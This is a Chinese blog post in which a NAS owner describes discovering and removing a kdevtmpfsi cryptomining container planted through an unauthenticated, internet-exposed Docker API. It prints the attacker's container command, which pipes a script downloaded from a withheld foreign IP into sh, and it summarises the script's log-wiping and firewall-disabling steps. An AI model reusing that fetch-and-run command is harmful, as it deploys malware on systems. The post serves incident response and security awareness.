社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  docker

有趣~ NAS 中了挖矿病毒,记录一次 docker 挖矿病毒

可爱的小Cherry • 3 月前 • 114 次点击  

大家好,这里是Cherry,喜爱折腾、玩数码,热衷于分享自己的数码玩耍经验~

折腾了数十款NAS和数百个Docker容器项目,关注我,每日获得docker玩法

如果喜欢本文,请下方点击免费的点赞、在看

图片
🔺玩法汇总:公众号首页,左下角点击教程合集
项目均来源互联网,如有侵权,后台私信联系删除


今天一大早,当我打开 NAS 的时候,突然发现 CPU 飙升到了 80%的使用量,要知道平时最多最多CPU 也就是30%多的占用,当下就觉得这件事并不简单。

于是赶紧打开 NAS 的设备监控查看进程,发现了一个名为kdevtmpfsi的进程,CPU 占用异常的高。

QQ_1753928848229.png

好家伙,这玩意儿不是挖矿病毒来着么,为啥我的NAS会中挖矿病毒!

查询了一下kdevtmpfsi具体的性质,得知它一般是通过redis弱口令或未鉴权来感染 linux设备的,但是我根本没有在 NAS 里部署redis

于是继续找,既然是围绕redis,那第一反应就是docker有没有问题。果不其然,找到了一个陌生的 docker 容器,而且是使用的ubuntu镜像,其 CPU 使用率达 800%。

QQ_1753929181896.png

再看了一眼 NAS 里的日志容器,发现昨晚半夜时候系统拉取了一个ubuntu镜像,并且启动了这个容器。于是果断先把容器停止掉,再一看 NAS cpu,果然就降下来恢复正常了。

哦豁,那么简单就搞定了?让它白白挖了6个小时?

QQ20250731-090611.png

于是我继续往下看,先打开 docker 界面详情,看了一下它的配置,有一条 CMD 指令。部署了ubuntu容器后,更新系统包,然后下载了某个国外鸡上的脚本,并且保持容器运行。

🔻开机指令如下

apt-get update \&& apt-get install -y wget cron;\service cron start; \wget --- 某个国外IP/d.sh | sh;tail -/dev/null 

我把这个脚本丢给了AI,让AI 帮我分析一下大致的内容:

QQ_1753929587534.png

首先脚本进行一系列的安全措施,删除日志、关闭防火墙、性能监控等,然后就是对同行进行斩杀,把所有有可能的竞争对手都干掉(没错,你能被入侵,说明你是菜鸡,不可能第一次被人搞)

QQ_1753929745584.png

然后是针对阿里云小鸡的云防护进行斩杀,看来作者很明确是国人,并且主要扫描的是阿里云的 IP 地址。然后 AI 说挖的应该是门罗币,这个我就不懂了。

QQ_1753929966206.png

然后接着看容器的日志,果不其然就是执行的相关脚本,而且我尝试了一下,每一次启动容器都是从不同的 IP 下载脚本,应该是前面做了一个 IP池的分流。

QQ_1753928637320.png

然后,我再看了一下容器的详情,使用命令docker inspect container_id。主要是看看容器有没有挂载宿主机的目录,会不会发生脚本转移的问题。

不过好在这个容器没有开启特权、没有挂载宿主机目录、没有配置权限,就是单纯的使用docker volume来跑。

"Id": "0d229b435664688276fa815aa34a44a0e937eb616d119797767514a59d47639d",        "Created": "2025-07-30T18:52:17.018230472Z",        "Path": "/bin/bash",        "Args": [            "-c",            "apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 国外IP/d.sh | sh;tail -f /dev/null"        ],"HostConfig":


    
 {            "Binds": null,            "ContainerIDFile": "",            "LogConfig": {                "Type": "json-file",                "Config": {}            },            "NetworkMode": "bridge",            "PortBindings": null,            "RestartPolicy": {                "Name": "no",                "MaximumRetryCount": 0            },            "AutoRemove": false,            "VolumeDriver": "",            "VolumesFrom": null,            "CapAdd": null,            "Privileged": false,            "PublishAllPorts": false,            "ReadonlyRootfs": false,            "SecurityOpt": null,        }, "Mounts": [],

在 NAS 运行指令查找病毒相关的文件和进程,也和docker volume保持一致,所以应该是全部在容器内部,没有转移到宿主机。

🔻find

▶️find / -name "*kdevtmpfsi*" ▶️/data_s004/data/udata/real/zdocker/overlay2/705f118984677eb23ea6ad5d8d30b85d6f60bcb64fd6639bfc93d67c1bf9f6ba/diff/tmp/kdevtmpfsi 

🔻ps

▶️ps -ef|grep kdevtmpfsi ▶️root     3119432 3101328  0 10:29 pts/5    00:00:00 grep --color=auto kdevtmpfsi ▶️ps -ef|grep kinsing ▶️root     3119964 3101328  0 10:29 pts/5    00:00:00 grep --color=auto kinsing 
🔻crontab
▶️crontab -l ▶️输出的都是正常计划任务 

最后,把容器删除以后,再通过 SSH 界面把容器卷删除。

QQ_1753930586510.png

然后使用 NAS 里自带的病毒查杀功能再全盘扫描一遍。基本可以解决本次 NAS 中挖矿病毒的问题。
QQ_1753930456685.png

总结部分

最后,我思考了一下为啥一个针对阿里云的挖矿脚本会挖到我的NAS上。

突然想起最近我和小伙伴在开发一款基于微信小程序的 NAS 容器管理应用,起因是为了方便自己随时随地的管理多系统的docker。

微信小程序大家都知道,有着严格的遵守 URL 白名单准入制度,所以小程序必须有对应的后端 API 才更方便。

这个后端 API 我是部署在阿里云上的,果然看了一下阿里云的安全组策略,默认的 docker api 2375 端口大开,问了一下才知道是小伙伴测试完小程序之后忘记关掉 NAS 的 docker socket proxy了,从而导致挖矿病毒根据阿里云的API 服务,连接到了 NAS 的 docker api,并且部署了本次的挖矿病毒。

所以,坑就坑在  Docker Api 这个东西它好像是没有鉴权的,而我们在测试环境也图方便,没有集成到 API Hub,也没有添加微信小程序的 ip 白名单。

不过幸运的是,本次挖矿容器仅仅是在容器层面的攻击,并没有挂载宿主机的路径让病毒转移,否则查杀起来更麻烦,甚至只能初始化 NAS 系统也有可能。

还是那句话,警钟长鸣!NAS 的公网虽然方便,但是安全意识也不能忽略,尤其是我这种爱折腾的 NAS 博主,最喜欢倒腾个人服务器的内容,时间久了,总有湿鞋的时候~

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/185052